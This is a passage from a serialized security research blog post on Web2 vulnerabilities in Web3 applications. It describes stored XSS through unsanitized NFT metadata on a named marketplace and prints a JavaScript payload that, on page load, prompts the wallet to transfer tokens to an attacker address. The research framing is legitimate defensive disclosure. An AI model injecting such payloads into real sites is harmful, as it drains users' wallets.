applications.",[31194,31195],"caue","bruno",{"src":31197,"height":13,"width":13},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[31200,31201],"nft-marketplaces","xss",{"type":20,"children":31203,"toc":35396},[31204,31208,31213,31217,31222,31227,31232,31248,31254,31267,31289,31296,31301,31308,31313,31319,31324,31329,31334,31339,31350,31355,32324,32334,32346,32353,32358,33178,33183,33188,33193,33198,33982,33987,34069,34074,34143,34149,34154,34159,34386,34399,34404,34409,34414,34421,34426,34433,34439,34444,34449,34454,34773,34778,34784,34800,34806,34811,34816,34826,34831,34836,34845,34850,34856,34872,34885,34890,34895,34915,34922,34927,34934,34943,34948,34969,35022,35027,35078,35092,35097,35111,35226,35249,35333,35356,35361,35366,35371,35376,35381,35387,35392],{"type":23,"tag":446,"props":31205,"children":31206},{"id":29014},[31207],{"type":28,"value":29017},{"type":23,"tag":24,"props":31209,"children":31210},{},[31211],{"type":28,"value":31212},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":546,"props":31214,"children":31215},{"id":2920},[31216],{"type":28,"value":2923},{"type":23,"tag":24,"props":31218,"children":31219},{},[31220],{"type":28,"value":31221},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":24,"props":31223,"children":31224},{},[31225],{"type":28,"value":31226},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":446,"props":31228,"children":31229},{"id":31201},[31230],{"type":28,"value":31231},"XSS",{"type":23,"tag":24,"props":31233,"children":31234},{},[31235],{"type":23,"tag":2913,"props":31236,"children":31237},{},[31238,31240,31247],{"type":28,"value":31239},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":458,"props":31241,"children":31244},{"href":31242,"rel":31243},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[462],[31245],{"type":28,"value":31246},"even explain it to myself",{"type":28,"value":706},{"type":23,"tag":546,"props":31249,"children":31251},{"id":31250},"managing-metadata",[31252],{"type":28,"value":31253},"Managing Metadata",{"type":23,"tag":24,"props":31255,"children":31256},{},[31257,31259,31266],{"type":28,"value":31258},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":458,"props":31260,"children":31263},{"href":31261,"rel":31262},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[462],[31264],{"type":28,"value":31265},"payloads",{"type":28,"value":706},{"type":23,"tag":24,"props":31268,"children":31269},{},[31270,31272,31279,31281,31287],{"type":28,"value":31271},"We showcase this vulnerability in the ",{"type":23,"tag":458,"props":31273,"children":31276},{"href":31274,"rel":31275},"https://rocki.com/",[462],[31277],{"type":28,"value":31278},"Rocki Marketplace",{"type":28,"value":31280},". The ",{"type":23,"tag":37,"props":31282,"children":31284},{"className":31283},[],[31285],{"type":28,"value":31286},"artistDescription",{"type":28,"value":31288}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":24,"props":31290,"children":31291},{},[31292],{"type":23,"tag":3918,"props":31293,"children":31295},{"alt":7,"src":31294},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":24,"props":31297,"children":31298},{},[31299],{"type":28,"value":31300},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":24,"props":31302,"children":31303},{},[31304],{"type":23,"tag":3918,"props":31305,"children":31307},{"alt":7,"src":31306},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":24,"props":31309,"children":31310},{},[31311],{"type":28,"value":31312},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":546,"props":31314,"children":31316},{"id":31315},"wheres-my-wallet",[31317],{"type":28,"value":31318},"Where's My Wallet",{"type":23,"tag":24,"props":31320,"children":31321},{},[31322],{"type":28,"value":31323},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":24,"props":31325,"children":31326},{},[31327],{"type":28,"value":31328},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":24,"props":31330,"children":31331},{},[31332],{"type":28,"value":31333},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":24,"props":31335,"children":31336},{},[31337],{"type":28,"value":31338},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":31340,"props":31341,"children":31343},"div",{"style":31342},"display:flex; align-items:center; flex-direction:column;",[31344],{"type":23,"tag":3918,"props":31345,"children":31349},{"src":31346,"alt":31347,"style":31348},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":24,"props":31351,"children":31352},{},[31353],{"type":28,"value":31354},"And here we can find the code used to achieve it :",{"type":23,"tag":31,"props":31356,"children":31360},{"className":31357,"code":31358,"language":31359,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[31361],{"type":23,"tag":37,"props":31362,"children":31363},{"__ignoreMap":7},[31364,31381,31426,31455,31471,31534,31569,31594,31619,31626,31646,31654,31670,31682,31690,31707,31724,31732,31739,31755,31771,31778,31786,31803,31815,31822,31838,31854,31861,31868,31885,31892,31900,31907,31954,31961,32025,32032,32052,32068,32084,32105,32176,32192,32199,32206,32244,32252,32259,32266,32273,32294],{"type":23,"tag":41,"props":31365,"children":31366},{"class":43,"line":44},[31367,31372,31377],{"type":23,"tag":41,"props":31368,"children":31369},{"style":64},[31370],{"type":28,"value":31371},"function",{"type":23,"tag":41,"props":31373,"children":31374},{"style":114},[31375],{"type":28,"value":31376}," request",{"type":23,"tag":41,"props":31378,"children":31379},{"style":70},[31380],{"type":28,"value":1134},{"type":23,"tag":41,"props":31382,"children":31383},{"class":43,"line":54},[31384,31389,31393,31398,31403,31407,31412,31417,31422],{"type":23,"tag":41,"props":31385,"children":31386},{"style":58},[31387],{"type":28,"value":31388},"  if",{"type":23,"tag":41,"props":31390,"children":31391},{"style":70},[31392],{"type":28,"value":142},{"type":23,"tag":41,"props":31394,"children":31395},{"style":64},[31396],{"type":28,"value":31397},"typeof",{"type":23,"tag":41,"props":31399,"children":31400},{"style":858},[31401],{"type":28,"value":31402}," window",{"type":23,"tag":41,"props":31404,"children":31405},{"style":70},[31406],{"type":28,"value":706},{"type":23,"tag":41,"props":31408,"children":31409},{"style":858},[31410],{"type":28,"value":31411},"ethereum",{"type":23,"tag":41,"props":31413,"children":31414},{"style":170},[31415],{"type":28,"value":31416}," ===",{"type":23,"tag":41,"props":31418,"children":31419},{"style":735},[31420],{"type":28,"value":31421}," 'undefined'",{"type":23,"tag":41,"props":31423,"children":31424},{"style":70},[31425],{"type":28,"value":152},{"type":23,"tag":41,"props":31427,"children":31428},{"class":43,"line":76},[31429,31434,31438,31442,31446,31451],{"type":23,"tag":41,"props":31430,"children":31431},{"style":858},[31432],{"type":28,"value":31433},"    console",{"type":23,"tag":41,"props":31435,"children":31436},{"style":70},[31437],{"type":28,"value":706},{"type":23,"tag":41,"props":31439,"children":31440},{"style":114},[31441],{"type":28,"value":14855},{"type":23,"tag":41,"props":31443,"children":31444},{"style":70},[31445],{"type":28,"value":1737},{"type":23,"tag":41,"props":31447,"children":31448},{"style":735},[31449],{"type":28,"value":31450},"'Please install MetaMask to use this feature.'",{"type":23,"tag":41,"props":31452,"children":31453},{"style":70},[31454],{"type":28,"value":3825},{"type":23,"tag":41,"props":31456,"children":31457},{"class":43,"line":85},[31458,31463,31467],{"type":23,"tag":41,"props":31459,"children":31460},{"style":70},[31461],{"type":28,"value":31462},"  } ",{"type":23,"tag":41,"props":31464,"children":31465},{"style":58},[31466],{"type":28,"value":3315},{"type":23,"tag":41,"props":31468,"children":31469},{"style":70},[31470],{"type":28,"value":102},{"type":23,"tag":41,"props":31472,"children":31473},{"class":43,"line":105},[31474,31479,31483,31488,31493,31498,31503,31508,31513,31518,31522,31526,31530],{"type":23,"tag":41,"props":31475,"children":31476},{"style":858},[31477],{"type":28,"value":31478},"    ethereum",{"type":23,"tag":41,"props":31480,"children":31481},{"style":70},[31482],{"type":28,"value":706},{"type":23,"tag":41,"props":31484,"children":31485},{"style":114},[31486],{"type":28,"value":31487},"request",{"type":23,"tag":41,"props":31489,"children":31490},{"style":70},[31491],{"type":28,"value":31492},"({ ",{"type":23,"tag":41,"props":31494,"children":31495},{"style":858},[31496],{"type":28,"value":31497},"method:",{"type":23,"tag":41,"props":31499,"children":31500},{"style":735},[31501],{"type":28,"value":31502}," 'eth_requestAccounts'",{"type":23,"tag":41,"props":31504,"children":31505},{"style":70},[31506],{"type":28,"value":31507}," }).",{"type":23,"tag":41,"props":31509,"children":31510},{"style":114},[31511],{"type":28,"value":31512},"then",{"type":23,"tag":41,"props":31514,"children":31515},{"style":70},[31516],{"type":28,"value":31517},"((",{"type":23,"tag":41,"props":31519,"children":31520},{"style":858},[31521],{"type":28,"value":14667},{"type":23,"tag":41,"props":31523,"children":31524},{"style":70},[31525],{"type":28,"value":866},{"type":23,"tag":41,"props":31527,"children":31528},{"style":64},[31529],{"type":28,"value":14813},{"type":23,"tag":41,"props":31531,"children":31532},{"style":70},[31533],{"type":28,"value":102},{"type":23,"tag":41,"props":31535,"children":31536},{"class":43,"line":155},[31537,31542,31547,31551,31556,31560,31564],{"type":23,"tag":41,"props":31538,"children":31539},{"style":64},[31540],{"type":28,"value":31541},"      const",{"type":23,"tag":41,"props":31543,"children":31544},{"style":858},[31545],{"type":28,"value":31546}," fromAddress",{"type":23,"tag":41,"props":31548,"children":31549},{"style":170},[31550],{"type":28,"value":3017},{"type":23,"tag":41,"props":31552,"children":31553},{"style":858},[31554],{"type":28,"value":31555}," accounts",{"type":23,"tag":41,"props":31557,"children":31558},{"style":70},[31559],{"type":28,"value":312},{"type":23,"tag":41,"props":31561,"children":31562},{"style":164},[31563],{"type":28,"value":4024},{"type":23,"tag":41,"props":31565,"children":31566},{"style":70},[31567],{"type":28,"value":31568},"];\n",{"type":23,"tag":41,"props":31570,"children":31571},{"class":43,"line":186},[31572,31576,31581,31585,31590],{"type":23,"tag":41,"props":31573,"children":31574},{"style":64},[31575],{"type":28,"value":31541},{"type":23,"tag":41,"props":31577,"children":31578},{"style":858},[31579],{"type":28,"value":31580}," attackerAddress",{"type":23,"tag":41,"props":31582,"children":31583},{"style":170},[31584],{"type":28,"value":3017},{"type":23,"tag":41,"props":31586,"children":31587},{"style":735},[31588],{"type":28,"value":31589}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":41,"props":31591,"children":31592},{"style":70},[31593],{"type":28,"value":183},{"type":23,"tag":41,"props":31595,"children":31596},{"class":43,"line":195},[31597,31601,31606,31610,31615],{"type":23,"tag":41,"props":31598,"children":31599},{"style":64},[31600],{"type":28,"value":31541},{"type":23,"tag":41,"props":31602,"children":31603},{"style":858},[31604],{"type":28,"value":31605}," contractAddress",{"type":23,"tag":41,"props":31607,"children":31608},{"style":170},[31609],{"type":28,"value":3017},{"type":23,"tag":41,"props":31611,"children":31612},{"style":735},[31613],{"type":28,"value":31614}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":41,"props":31616,"children":31617},{"style":70},[31618],{"type":28,"value":183},{"type":23,"tag":41,"props":31620,"children":31621},{"class":43,"line":905},[31622],{"type":23,"tag":41,"props":31623,"children":31624},{"emptyLinePlaceholder":18},[31625],{"type":28,"value":82},{"type":23,"tag":41,"props":31627,"children":31628},{"class":43,"line":922},[31629,31633,31638,31642],{"type":23,"tag":41,"props":31630,"children":31631},{"style":64},[31632],{"type":28,"value":8074},{"type":23,"tag":41,"props":31634,"children":31635},{"style":858},[31636],{"type":28,"value":31637}," tokenAbi",{"type":23,"tag":41,"props":31639,"children":31640},{"style":170},[31641],{"type":28,"value":3017},{"type":23,"tag":41,"props":31643,"children":31644},{"style":70},[31645],{"type":28,"value":25620},{"type":23,"tag":41,"props":31647,"children":31648},{"class":43,"line":930},[31649],{"type":23,"tag":41,"props":31650,"children":31651},{"style":70},[31652],{"type":28,"value":31653},"        {\n",{"type":23,"tag":41,"props":31655,"children":31656},{"class":43,"line":939},[31657,31662,31666],{"type":23,"tag":41,"props":31658,"children":31659},{"style":858},[31660],{"type":28,"value":31661},"          constant:",{"type":23,"tag":41,"props":31663,"children":31664},{"style":64},[31665],{"type":28,"value":1095},{"type":23,"tag":41,"props":31667,"children":31668},{"style":70},[31669],{"type":28,"value":3506},{"type":23,"tag":41,"props":31671,"children":31672},{"class":43,"line":947},[31673,31678],{"type":23,"tag":41,"props":31674,"children":31675},{"style":858},[31676],{"type":28,"value":31677},"          inputs:",{"type":23,"tag":41,"props":31679,"children":31680},{"style":70},[31681],{"type":28,"value":25620},{"type":23,"tag":41,"props":31683,"children":31684},{"class":43,"line":985},[31685],{"type":23,"tag":41,"props":31686,"children":31687},{"style":70},[31688],{"type":28,"value":31689},"            {\n",{"type":23,"tag":41,"props":31691,"children":31692},{"class":43,"line":1058},[31693,31698,31703],{"type":23,"tag":41,"props":31694,"children":31695},{"style":858},[31696],{"type":28,"value":31697},"              name:",{"type":23,"tag":41,"props":31699,"children":31700},{"style":735},[31701],{"type":28,"value":31702}," '_to'",{"type":23,"tag":41,"props":31704,"children":31705},{"style":70},[31706],{"type":28,"value":3506},{"type":23,"tag":41,"props":31708,"children":31709},{"class":43,"line":1084},[31710,31715,31720],{"type":23,"tag":41,"props":31711,"children":31712},{"style":858},[31713],{"type":28,"value":31714},"              type:",{"type":23,"tag":41,"props":31716,"children":31717},{"style":735},[31718],{"type":28,"value":31719}," 'address'",{"type":23,"tag":41,"props":31721,"children":31722},{"style":70},[31723],{"type":28,"value":3506},{"type":23,"tag":41,"props":31725,"children":31726},{"class":43,"line":1102},[31727],{"type":23,"tag":41,"props":31728,"children":31729},{"style":70},[31730],{"type":28,"value":31731},"            },\n",{"type":23,"tag":41,"props":31733,"children":31734},{"class":43,"line":1110},[31735],{"type":23,"tag":41,"props":31736,"children":31737},{"style":70},[31738],{"type":28,"value":31689},{"type":23,"tag":41,"props":31740,"children":31741},{"class":43,"line":1118},[31742,31746,31751],{"type":23,"tag":41,"props":31743,"children":31744},{"style":858},[31745],{"type":28,"value":31697},{"type":23,"tag":41,"props":31747,"children":31748},{"style":735},[31749],{"type":28,"value":31750}," '_value'",{"type":23,"tag":41,"props":31752,"children":31753},{"style":70},[31754],{"type":28,"value":3506},{"type":23,"tag":41,"props":31756,"children":31757},{"class":43,"line":1137},[31758,31762,31767],{"type":23,"tag":41,"props":31759,"children":31760},{"style":858},[31761],{"type":28,"value":31714},{"type":23,"tag":41,"props":31763,"children":31764},{"style":735},[31765],{"type":28,"value":31766}," 'uint256'",{"type":23,"tag":41,"props":31768,"children":31769},{"style":70},[31770],{"type":28,"value":3506},{"type":23,"tag":41,"props":31772,"children":31773},{"class":43,"line":1163},[31774],{"type":23,"tag":41,"props":31775,"children":31776},{"style":70},[31777],{"type":28,"value":31731},{"type":23,"tag":41,"props":31779,"children":31780},{"class":43,"line":1188},[31781],{"type":23,"tag":41,"props":31782,"children":31783},{"style":70},[31784],{"type":28,"value":31785},"          ],\n",{"type":23,"tag":41,"props":31787,"children":31788},{"class":43,"line":1979},[31789,31794,31799],{"type":23,"tag":41,"props":31790,"children":31791},{"style":858},[31792],{"type":28,"value":31793},"          name:",{"type":23,"tag":41,"props":31795,"children":31796},{"style":735},[31797],{"type":28,"value":31798}," 'transfer'",{"type":23,"tag":41,"props":31800,"children":31801},{"style":70},[31802],{"type":28,"value":3506},{"type":23,"tag":41,"props":31804,"children":31805},{"class":43,"line":2002},[31806,31811],{"type":23,"tag":41,"props":31807,"children":31808},{"style":858},[31809],{"type":28,"value":31810},"          outputs:",{"type":23,"tag":41,"props":31812,"children":31813},{"style":70},[31814],{"type":28,"value":25620},{"type":23,"tag":41,"props":31816,"children":31817},{"class":43,"line":3835},[31818],{"type":23,"tag":41,"props":31819,"children":31820},{"style":70},[31821],{"type":28,"value":31689},{"type":23,"tag":41,"props":31823,"children":31824},{"class":43,"line":3895},[31825,31829,31834],{"type":23,"tag":41,"props":31826,"children":31827},{"style":858},[31828],{"type":28,"value":31697},{"type":23,"tag":41,"props":31830,"children":31831},{"style":735},[31832],{"type":28,"value":31833}," ''",{"type":23,"tag":41,"props":31835,"children":31836},{"style":70},[31837],{"type":28,"value":3506},{"type":23,"tag":41,"props":31839,"children":31840},{"class":43,"line":9044},[31841,31845,31850],{"type":23,"tag":41,"props":31842,"children":31843},{"style":858},[31844],{"type":28,"value":31714},{"type":23,"tag":41,"props":31846,"children":31847},{"style":735},[31848],{"type":28,"value":31849}," 'bool'",{"type":23,"tag":41,"props":31851,"children":31852},{"style":70},[31853],{"type":28,"value":3506},{"type":23,"tag":41,"props":31855,"children":31856},{"class":43,"line":9061},[31857],{"type":23,"tag":41,"props":31858,"children":31859},{"style":70},[31860],{"type":28,"value":31731},{"type":23,"tag":41,"props":31862,"children":31863},{"class":43,"line":9106},[31864],{"type":23,"tag":41,"props":31865,"children":31866},{"style":70},[31867],{"type":28,"value":31785},{"type":23,"tag":41,"props":31869,"children":31870},{"class":43,"line":9212},[31871,31876,31881],{"type":23,"tag":41,"props":31872,"children":31873},{"style":858},[31874],{"type":28,"value":31875},"          type:",{"type":23,"tag":41,"props":31877,"children":31878},{"style":735},[31879],{"type":28,"value":31880}," 'function'",{"type":23,"tag":41,"props":31882,"children":31883},{"style":70},[31884],{"type":28,"value":3506},{"type":23,"tag":41,"props":31886,"children":31887},{"class":43,"line":23496},[31888],{"type":23,"tag":41,"props":31889,"children":31890},{"style":70},[31891],{"type":28,"value":25372},{"type":23,"tag":41,"props":31893,"children":31894},{"class":43,"line":23531},[31895],{"type":23,"tag":41,"props":31896,"children":31897},{"style":70},[31898],{"type":28,"value":31899},"      ];\n",{"type":23,"tag":41,"props":31901,"children":31902},{"class":43,"line":23539},[31903],{"type":23,"tag":41,"props":31904,"children":31905},{"emptyLinePlaceholder":18},[31906],{"type":28,"value":82},{"type":23,"tag":41,"props":31908,"children":31909},{"class":43,"line":23547},[31910,31914,31919,31923,31928,31933,31937,31942,31946,31950],{"type":23,"tag":41,"props":31911,"children":31912},{"style":64},[31913],{"type":28,"value":31541},{"type":23,"tag":41,"props":31915,"children":31916},{"style":858},[31917],{"type":28,"value":31918}," web3",{"type":23,"tag":41,"props":31920,"children":31921},{"style":170},[31922],{"type":28,"value":3017},{"type":23,"tag":41,"props":31924,"children":31925},{"style":64},[31926],{"type":28,"value":31927}," new",{"type":23,"tag":41,"props":31929,"children":31930},{"style":114},[31931],{"type":28,"value":31932}," Web3",{"type":23,"tag":41,"props":31934,"children":31935},{"style":70},[31936],{"type":28,"value":1737},{"type":23,"tag":41,"props":31938,"children":31939},{"style":858},[31940],{"type":28,"value":31941},"window",{"type":23,"tag":41,"props":31943,"children":31944},{"style":70},[31945],{"type":28,"value":706},{"type":23,"tag":41,"props":31947,"children":31948},{"style":858},[31949],{"type":28,"value":31411},{"type":23,"tag":41,"props":31951,"children":31952},{"style":70},[31953],{"type":28,"value":3825},{"type":23,"tag":41,"props":31955,"children":31956},{"class":43,"line":23556},[31957],{"type":23,"tag":41,"props":31958,"children":31959},{"emptyLinePlaceholder":18},[31960],{"type":28,"value":82},{"type":23,"tag":41,"props":31962,"children":31963},{"class":43,"line":23598},[31964,31968,31973,31977,31981,31985,31989,31994,31998,32003,32007,32012,32016,32021],{"type":23,"tag":41,"props":31965,"children":31966},{"style":64},[31967],{"type":28,"value":31541},{"type":23,"tag":41,"props":31969,"children":31970},{"style":858},[31971],{"type":28,"value":31972}," tokenContract",{"type":23,"tag":41,"props":31974,"children":31975},{"style":170},[31976],{"type":28,"value":3017},{"type":23,"tag":41,"props":31978,"children":31979},{"style":64},[31980],{"type":28,"value":31927},{"type":23,"tag":41,"props":31982,"children":31983},{"style":858},[31984],{"type":28,"value":31918},{"type":23,"tag":41,"props":31986,"children":31987},{"style":70},[31988],{"type":28,"value":706},{"type":23,"tag":41,"props":31990,"children":31991},{"style":858},[31992],{"type":28,"value":31993},"eth",{"type":23,"tag":41,"props":31995,"children":31996},{"style":70},[31997],{"type":28,"value":706},{"type":23,"tag":41,"props":31999,"children":32000},{"style":114},[32001],{"type":28,"value":32002},"Contract",{"type":23,"tag":41,"props":32004,"children":32005},{"style":70},[32006],{"type":28,"value":1737},{"type":23,"tag":41,"props":32008,"children":32009},{"style":858},[32010],{"type":28,"value":32011},"tokenAbi",{"type":23,"tag":41,"props":32013,"children":32014},{"style":70},[32015],{"type":28,"value":970},{"type":23,"tag":41,"props":32017,"children":32018},{"style":858},[32019],{"type":28,"value":32020},"contractAddress",{"type":23,"tag":41,"props":32022,"children":32023},{"style":70},[32024],{"type":28,"value":3825},{"type":23,"tag":41,"props":32026,"children":32027},{"class":43,"line":23631},[32028],{"type":23,"tag":41,"props":32029,"children":32030},{"emptyLinePlaceholder":18},[32031],{"type":28,"value":82},{"type":23,"tag":41,"props":32033,"children":32034},{"class":43,"line":23639},[32035,32039,32044,32048],{"type":23,"tag":41,"props":32036,"children":32037},{"style":64},[32038],{"type":28,"value":31541},{"type":23,"tag":41,"props":32040,"children":32041},{"style":858},[32042],{"type":28,"value":32043}," transactionObject",{"type":23,"tag":41,"props":32045,"children":32046},{"style":170},[32047],{"type":28,"value":3017},{"type":23,"tag":41,"props":32049,"children":32050},{"style":70},[32051],{"type":28,"value":102},{"type":23,"tag":41,"props":32053,"children":32054},{"class":43,"line":23647},[32055,32060,32064],{"type":23,"tag":41,"props":32056,"children":32057},{"style":858},[32058],{"type":28,"value":32059},"        from:",{"type":23,"tag":41,"props":32061,"children":32062},{"style":858},[32063],{"type":28,"value":31546},{"type":23,"tag":41,"props":32065,"children":32066},{"style":70},[32067],{"type":28,"value":3506},{"type":23,"tag":41,"props":32069,"children":32070},{"class":43,"line":23656},[32071,32076,32080],{"type":23,"tag":41,"props":32072,"children":32073},{"style":858},[32074],{"type":28,"value":32075},"        to:",{"type":23,"tag":41,"props":32077,"children":32078},{"style":858},[32079],{"type":28,"value":31605},{"type":23,"tag":41,"props":32081,"children":32082},{"style":70},[32083],{"type":28,"value":3506},{"type":23,"tag":41,"props":32085,"children":32086},{"class":43,"line":23732},[32087,32092,32096,32100],{"type":23,"tag":41,"props":32088,"children":32089},{"style":858},[32090],{"type":28,"value":32091},"        data:",{"type":23,"tag":41,"props":32093,"children":32094},{"style":858},[32095],{"type":28,"value":31972},{"type":23,"tag":41,"props":32097,"children":32098},{"style":70},[32099],{"type":28,"value":706},{"type":23,"tag":41,"props":32101,"children":32102},{"style":858},[32103],{"type":28,"value":32104},"methods\n",{"type":23,"tag":41,"props":32106,"children":32107},{"class":43,"line":23765},[32108,32113,32118,32122,32127,32131,32136,32140,32145,32149,32154,32158,32163,32167,32172],{"type":23,"tag":41,"props":32109,"children":32110},{"style":70},[32111],{"type":28,"value":32112},"          .",{"type":23,"tag":41,"props":32114,"children":32115},{"style":114},[32116],{"type":28,"value":32117},"transfer",{"type":23,"tag":41,"props":32119,"children":32120},{"style":70},[32121],{"type":28,"value":1737},{"type":23,"tag":41,"props":32123,"children":32124},{"style":858},[32125],{"type":28,"value":32126},"attackerAddress",{"type":23,"tag":41,"props":32128,"children":32129},{"style":70},[32130],{"type":28,"value":970},{"type":23,"tag":41,"props":32132,"children":32133},{"style":858},[32134],{"type":28,"value":32135},"web3",{"type":23,"tag":41,"props":32137,"children":32138},{"style":70},[32139],{"type":28,"value":706},{"type":23,"tag":41,"props":32141,"children":32142},{"style":858},[32143],{"type":28,"value":32144},"utils",{"type":23,"tag":41,"props":32146,"children":32147},{"style":70},[32148],{"type":28,"value":706},{"type":23,"tag":41,"props":32150,"children":32151},{"style":114},[32152],{"type":28,"value":32153},"toWei",{"type":23,"tag":41,"props":32155,"children":32156},{"style":70},[32157],{"type":28,"value":1737},{"type":23,"tag":41,"props":32159,"children":32160},{"style":735},[32161],{"type":28,"value":32162},"'100000000'",{"type":23,"tag":41,"props":32164,"children":32165},{"style":70},[32166],{"type":28,"value":970},{"type":23,"tag":41,"props":32168,"children":32169},{"style":735},[32170],{"type":28,"value":32171},"'ether'",{"type":23,"tag":41,"props":32173,"children":32174},{"style":70},[32175],{"type":28,"value":19700},{"type":23,"tag":41,"props":32177,"children":32178},{"class":43,"line":23773},[32179,32183,32188],{"type":23,"tag":41,"props":32180,"children":32181},{"style":70},[32182],{"type":28,"value":32112},{"type":23,"tag":41,"props":32184,"children":32185},{"style":114},[32186],{"type":28,"value":32187},"encodeABI",{"type":23,"tag":41,"props":32189,"children":32190},{"style":70},[32191],{"type":28,"value":3489},{"type":23,"tag":41,"props":32193,"children":32194},{"class":43,"line":23781},[32195],{"type":23,"tag":41,"props":32196,"children":32197},{"style":70},[32198],{"type":28,"value":8917},{"type":23,"tag":41,"props":32200,"children":32201},{"class":43,"line":23818},[32202],{"type":23,"tag":41,"props":32203,"children":32204},{"emptyLinePlaceholder":18},[32205],{"type":28,"value":82},{"type":23,"tag":41,"props":32207,"children":32208},{"class":43,"line":23831},[32209,32214,32218,32222,32226,32231,32235,32240],{"type":23,"tag":41,"props":32210,"children":32211},{"style":858},[32212],{"type":28,"value":32213},"      web3",{"type":23,"tag":41,"props":32215,"children":32216},{"style":70},[32217],{"type":28,"value":706},{"type":23,"tag":41,"props":32219,"children":32220},{"style":858},[32221],{"type":28,"value":31993},{"type":23,"tag":41,"props":32223,"children":32224},{"style":70},[32225],{"type":28,"value":706},{"type":23,"tag":41,"props":32227,"children":32228},{"style":114},[32229],{"type":28,"value":32230},"sendTransaction",{"type":23,"tag":41,"props":32232,"children":32233},{"style":70},[32234],{"type":28,"value":1737},{"type":23,"tag":41,"props":32236,"children":32237},{"style":858},[32238],{"type":28,"value":32239},"transactionObject",{"type":23,"tag":41,"props":32241,"children":32242},{"style":70},[32243],{"type":28,"value":3825},{"type":23,"tag":41,"props":32245,"children":32246},{"class":43,"line":23844},[32247],{"type":23,"tag":41,"props":32248,"children":32249},{"style":70},[32250],{"type":28,"value":32251},"    });\n",{"type":23,"tag":41,"props":32253,"children":32254},{"class":43,"line":23857},[32255],{"type":23,"tag":41,"props":32256,"children":32257},{"style":70},[32258],{"type":28,"value":5872},{"type":23,"tag":41,"props":32260,"children":32261},{"class":43,"line":23911},[32262],{"type":23,"tag":41,"props":32263,"children":32264},{"style":70},[32265],{"type":28,"value":201},{"type":23,"tag":41,"props":32267,"children":32268},{"class":43,"line":23920},[32269],{"type":23,"tag":41,"props":32270,"children":32271},{"emptyLinePlaceholder":18},[32272],{"type":28,"value":82},{"type":23,"tag":41,"props":32274,"children":32276},{"class":43,"line":32275},51,[32277,32281,32285,32290],{"type":23,"tag":41,"props":32278,"children":32279},{"style":64},[32280],{"type":28,"value":19471},{"type":23,"tag":41,"props":32282,"children":32283},{"style":70},[32284],{"type":28,"value":1737},{"type":23,"tag":41,"props":32286,"children":32287},{"style":735},[32288],{"type":28,"value":32289},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":41,"props":32291,"children":32292},{"style":70},[32293],{"type":28,"value":3825},{"type":23,"tag":41,"props":32295,"children":32297},{"class":43,"line":32296},52,[32298,32303,32307,32311,32315,32320],{"type":23,"tag":41,"props":32299,"children":32300},{"style":114},[32301],{"type":28,"value":32302},"setTimeout",{"type":23,"tag":41,"props":32304,"children":32305},{"style":70},[32306],{"type":28,"value":1737},{"type":23,"tag":41,"props":32308,"children":32309},{"style":858},[32310],{"type":28,"value":31487},{"type":23,"tag":41,"props":32312,"children":32313},{"style":70},[32314],{"type":28,"value":970},{"type":23,"tag":41,"props":32316,"children":32317},{"style":164},[32318],{"type":28,"value":32319},"1e3",{"type":23,"tag":41,"props":32321,"children":32322},{"style":70},[32323],{"type":28,"value":3825},{"type":23,"tag":24,"props":32325,"children":32326},{},[32327,32332],{"type":23,"tag":510,"props":32328,"children":32329},{},[32330],{"type":28,"value":32331},"CSRF & XSS",{"type":28,"value":32333},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different 